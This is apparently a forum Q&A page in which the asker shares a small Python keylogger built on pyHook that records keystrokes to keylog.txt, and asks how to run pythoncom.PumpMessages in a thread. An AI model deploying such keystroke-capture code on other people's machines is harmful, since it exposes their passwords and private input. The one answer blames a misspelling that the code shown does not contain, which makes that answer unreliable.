1

I'm writing little keylogger in python. Here is my code.

LOG_FILENAME = 'keylog.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)sx')
    logging.log(10,chr(event.Ascii))
    return True

def print_stuff():
    print "Oh stuff!" 
hm=pyHook.HookManager()  
hm.KeyDown = OnKeyboardEvent  
hm.HookKeyboard()  
thread.start_new_thread(pythoncom.PumpMessages,()) 
print_stuff()

but why pythoncom.PumpMessages() is not working? is there any way to run pythoncom.PumpMessages function in thread?

1 Answer 1

1

Maybe because you misspelled PumpMessages()

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.